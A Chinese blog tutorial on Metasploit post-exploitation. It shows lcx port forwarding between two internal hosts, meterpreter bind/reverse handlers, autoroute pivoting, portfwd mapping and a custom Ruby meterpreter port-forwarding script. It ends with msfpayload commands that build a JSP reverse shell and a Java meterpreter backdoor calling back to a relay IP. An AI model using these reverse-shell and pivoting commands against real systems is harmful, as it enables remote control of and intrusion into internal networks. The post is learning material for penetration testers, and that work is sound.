0x00 问题描述

在渗透测试时,metasploit往往作为后渗透工具,(因为远程溢出越来越少).我一般都是在获得一个webshell后,来使用metasploit进行信息采集,或者内网扫描等操作。而大多数站点都是内网ip。而本屌丝自己的机器也是内网ip,那么两个内网ip怎么建立连接?

0x01 解决办法

以前总是使用lcx做端口转发连接站点的3389,是否也可以用lcx将metasploit和站点两个内网ip进行连接?发现是可行的。具体操作步骤如下:

网络环境:

Metasploit:192.168.7.84

目标站点:   192.168.244.148

公网ip:   192.168.7.89

我的目的是将244.148 与7.84进行连接。大概过程如下:

1.在公网ip机器上使用lcx建立监听两个端口600、500

2.在metasploit中使用exploit/multi/handler模块,利用payload windows/meterpreter/bind_tcp 连接公网ip的600端口。(这相当于在公网ip上执行了windows/meterpreter/bind_tcp模块,绑定的端口是500)

3.制作一个msfpayload 模块选择windows/meterpreter/reverse_tcp,连接公网ip的500端口。这样可以将两个机器进行连接。

具体测试如下:

1)在公网ip上监听两个端口

2) 在metasploit调用exploit/multi/handler 模块,这里使用资源加载方法,个人理解相当于windows的批处理功能。将要执行的命令存入文件,然后可以使用msf的resource功能加载,则里面的命令都会顺序执行。

其中/tmp/rc/handle.rc中内容如下

然后执行exploit命令,开始执行

则此时公网连接状态

等待客户端进行连接。

现在使用msfpayload生成windows/meterpreter/reverse_tcp的payload

命令行下查看windows/meterpreter/reverse_tcp 需要的选项

需要两个参数LHOST和LPORT,分别是要连接的ip和端口,我这里需要连接的远程ip是192.168.7.89,端口是500

可以看到响应设置,这里有一个X,看一下表示的意思

X其实表示的是exe的X,msfpayload支持很多种语言如P表示Perl,N表示Python等。

生成了payload需要传到目标站点上

在目标站点上执行payload,则公网的lcx开始转发数据

获得一个meterpreter控制台

可以开始进行执行命令了。

如果你觉得命令行用着不爽,可以直接使用run vnc命令,获得一个gui操作。真牛叉。

初次接触msf最令人兴奋的莫过于跳板功能,通过msf添加路由功能,可以直接使用msf对本来不能访问的内网进行连接(建立访问连接是渗透的第一步),一旦建立连接那么就是想干什么都可以真是强大无比。

使用meterpreter的autoroute功能,即可完成该操作。首先使用get_local_subnets脚本获得受控系统本地子网,然后使用autoroute脚本添加路由。这样操作后就会看到添加的路由表,网关是session 3即payload程序。如果我在msf指定某个模块的ip地址是192.168.244.*,则会通过session3 网关进行转发,访问到目标ip.

跟建立网络连接的还有一个经常使用的,就是网络映射功能,meterpreter中有一个getgui脚本(我的bt下脚本存放路径/opt/metasploit/msf3/scripts/meterpreter里面有很多写好的脚本,如下图所示)

在《metasploit渗透测试指南》上说,getgui可以将远程的3389映射到本地的指定端口,功能,这就是一个网络映射过程。

看其使用方法,很简单,这里我不添加用户名和密码,直接建立连接。运行run getgui -e -f 8080

执行后建立了连接

可以建立连接,转发成功了。

但是在渗透测试中需求,总是在变化的,以前也有过需求,将内网的某个端口映射出来,进行连接,是否也可以做到?带着这个问题,我看了一下getgui的实现代码。

我没有学过ruby,但是看了这样代码,很容易明白,刚才执行的run getgui -e -f 8080时,则含有-f则frwrd变量设置为true。并且保存-f后面的端口到变量lport中,而下面当frwrd为true,则会调用portfwd add -L 0.0.0.0 -l #{lport} -p 3389 -r 127.0.0.1 将远程3389(相对于payload即是127.0.0.1)映射到本地的指定的端口。

可见建立网络映射只需要这条命令即可。搜索该命令所在文件:

发现是在/opt/metasploit/msf3/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb中定义的。

应该是该命令的具体实现。从参数中很容易看出来。各个参数的含义。

可以看到支持很多命令add、delete、list等。

因此,照猫画虎。如果我想将远程主机的10081端口映射到本地的10081端口,那怎么实现?

只需要一句话

client.run_cmd("portfwd add -L 0.0.0.0 -l 10081 -p 10081 -r 127.0.0.1")

在/opt/metasploit/msf3/scripts/meterpreter目录下创建changeport.rb

运行一下创建的脚本

看一下端口状态:

映射已经成功。

从刚才portfwd的命令可以知道,其支持add、delete、list命令,因此继续丰富自己的脚本,可以实现这样一个功能,添加端口映射、删除端口映射、查看端口映射。照猫画虎可以写出如下脚本:

# Author: buchedan.org

#-------------------------------------------------------------------------------

################## Variable Declarations ##################

session = client

@@exec_opts = Rex::Parser::Arguments.new(

"-h" => [ true, "Help menu." ],

"-c" => [ true, "include -add -list -del. " ],

"-l" => [ true,  "localport and it is not using." ],

"-r" => [ true,  "remoteip of trying to connect." ],

"-p" => [ true,  "remoteport of trying to connect." ]

)

def usage

print_line("portfwd ")

print_line("Usage: changeport -c add  -l <localport> -r <remoteip> -p <remoteport>")

print_line("Usage: changeport -c list ")

print_line("Usage: changeport -c del -l <localport> ")

print(@@exec_opts.usage)

raise Rex::Script::Completed

end

def message

print_status "portfwd remoteip port to localport"

print_status "http://buchedan.org"

end

################## MAIN ##################

# Parsing of Options

cmd  = nil

lport = nil

rip   = nil

rport = nil

@@exec_opts.parse(args) { |opt, idx, val|

case opt

when "-c"

cmd = val

when "-h"

usage

when "-l"

lport = val

when "-r"

rip = val

when "-p"

rport = val

end

}

if client.platform =~ /win32|win64/

if args.length > 0

# show info

message

case cmd

when "list"

client.run_cmd("portfwd list")

when "add"

if (!lport or !rip or !rport)

print_error("You must supply a local port, remote host, and remote port.")

return

end

client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p #{rport} -r #{rip}")

#print_status("Starting the #{rip}:#{rport} forwarding at local port #{lport}")

when "del"

if(!lport)

print_error("You must supply a local port.")

return

else

client.run_cmd("portfwd delete -L 0.0.0.0 -l #{lport}")

end

end

else

usage

end

else

print_error("This version of Meterpreter is not supported with this Script!")

raise Rex::Script::Completed

end

放入到/opt/metasploit/msf3/scripts/meterpreter下

使用方法演示

可以显示帮助信息,建立映射,显示映射,删除映射。当然鸟语写的不好,只有自己能看懂。

后来蓦然回首,才发现当初的自己是多么的2,原来meterpreter本身就有这个portfwd功能,可以直接使用,我真是脱裤子放屁了。完全实现了add、list与delete。

0x02 总结

本文主要学习,使用lcx做端口转发,将两个内网机器(目标机器和msf)建立连接,同时使用msfpayload进行作为跳板,可以进行继续渗透。最后是简单实现端口映射,了解基本的mterpreter脚本编程。

这里测试几个常用的:

Jsp版

1)生成jsp版反向连接代码

msfpayload java/jsp_shell_reverse_tcp LHOST=192.168.7.89 LPORT=500 R > /tmp/door.jsp

Msf中设置,然后在7.89上使用lcx转发即可。

成功后显示是一个命令行:

但是好像不能使用meterpreter功能。

看生成的door.jsp内容

就是将命令进行了绑定。应该不能升级到meterpreter了。

Jar包版

1)创建jar

msfpayload java/meterpreter/reverse_tcp  LHOST=192.168.7.89  LPORT=500 R > /tmp/door.jar

公网ip lcx开始监听两端口

Msf设置

在客户端运行jar即可

貌似运行的还很稳定正常

Metasploit – 内网连接的更多相关文章

  1. Navicat通过云主机内网连接阿里云RDS

    背景 公司为了安全起见,RDS设置只允许阿里云主机的内网端可以访问.这就意味,如果要操作RDS就需要连接到云主机上之后通过mysql shell操作.操作起来很复杂麻烦,今天看同事用Navicat f ...

  2. 云计算之路-试用Azure:如何建立虚拟机之间的内网连接

    在阿里云上,同一个帐户创建的所有虚拟机(云服务器)之间的内网是直接连通的.而Azure则完全不一样,一开始使用时有点不知所措,后来摸索出来了——在Azure中只有处于同一个虚拟网络(Virtual N ...

  3. Metasploit 内网渗透篇

    0x01 reverse the shell File 通常做法是使用msfpayload生成一个backdoor.exe然后上传到目标机器执行.本地监听即可获得meterpreter shell. ...

  4. Haproxy内网连接阿里云存储OSS后提供下载

    global log 127.0.0.1 local0 maxconn #最大连接数 chroot /usr/local/haproxy uid #所属运行的用户UID gid #所属运行用用户组 d ...

  5. 连接greenvpn 公司内网连接

    查看计算机路由表 Route print 跟踪路由表 Tracert ip or dnsname 本次需求,连接greenvpn之后,公司10.130.41.** 网段的机器无法使用.本机ip 10. ...

  6. udp 内网穿透 互发消息

    还差实现内网终端,向服务器发送请求,要对方的内网连接自己,实现打洞.在同一网段,或者公网运行,可以相互聊天. 没有实现检测客户端下线功能. 1,服务器代码 package router; import ...

  7. 典型案例收集-使用OpenVPN连通多个机房内网(转)(静态路由)

    说明: 1.这篇文章主要是使用静态路由表实现的多个机房通过VPN连接后的子网机房互通. 2.OpenVPN使用的是桥接模式(server-bridge和dev tap),这个是关键点,只有这样设置才可 ...

  8. Windows 设置内网和外网同时使用

    想要电脑同时使用内网和外网必须具备两个网卡,一个是无线网卡一个是本地连接,无线网卡用来连接wifi也就是外网,而本地连接需要网线连接内网,外网是不需要做设置的,我们只需要设置内网即可,鼠标右击电脑右下 ...

  9. metasploit渗透测试笔记(内网渗透篇)

    x01 reverse the shell File 通常做法是使用msfpayload生成一个backdoor.exe然后上传到目标机器执行.本地监听即可获得meterpreter shell. r ...

随机推荐

  1. Docker入门与应用系列(六)Docker私有与公共镜像仓库

    1.搭建私有镜像仓库 Docker Hub作为Docker默认官方公共镜像:如果想搭建自己的私有镜像仓库,官方提供registry镜像,使搭建私有仓库非常简单 1.1下载registry镜像并启动 d ...

  2. Android显示全局Dialog

    1.需求:Dialog只能依附于某个具体的Activity显示,当我们需要一个全局的不依赖于某个Activity的Dialog时,应该怎么创建?类似于QQ消息提醒框 2.分析:我们可以在Service ...

  3. ASP.NET Web API中的路由

    ASP.NET Web API的默认路由在App_Start目录中的WebApiConfig.cs文件中定义的. public static class WebApiConfig { public s ...

  4. 面试之JavaWeb篇(十三)

    148,AJAX有哪些有点和缺点? 优点: 1.最大的一点是页面无刷新,用户的体验非常好. 2.使用异步方式与服务器通信,具有更加迅速的响应能力. 3.可以把以前一些服务器负担的工作转嫁到客户端,利用 ...

  5. Windows 磁盘分区

    在“我的电脑”右键,点击“管理”,打开计算机管理,然后如图操作

  6. FineReport---函数

    1.NUMTO()需要将数字2345转换成二三四五:NUMTO(2345) 2.Toimage函数:Toimage(path)用于在报表中显示某一路径path下的图片 3.row():为获取当前行号 ...

  7. wire_format.cc:1091] String field 'accountid' contains invalid UTF-8 data when serializing a protocol buffer. Use the 'bytes' type if you intend to send raw bytes.

    原因: 在protobuf 的string字段中存在中文,序列化的时候会出现截断数据,string这个类型带有检查功能 解决方法: 把protobuf中存在中文的string字段类型 改为bytes ...

  8. mysql utf8字符集下使用DES_ENCRYPT

    DES_ENCRYPT() 加密字符串后内容为空 改变字符集latin1  可以保存和解密(DES_DECRYPT)

  9. pip与apt-get

    在ubuntu服务器下安装包的时候,经常会用到sudo apt-get install 包名 或 sudo pip install 包名,那么两者有什么区别呢? 1.区别 pip用来安装来自PyPI( ...

  10. Java基础 - 面向对象 - 类的定义

    package mingri.chapter_6; import java.util.Scanner; public class Person { /* * 类变量 * 定义方法: * 数据类型 变量 ...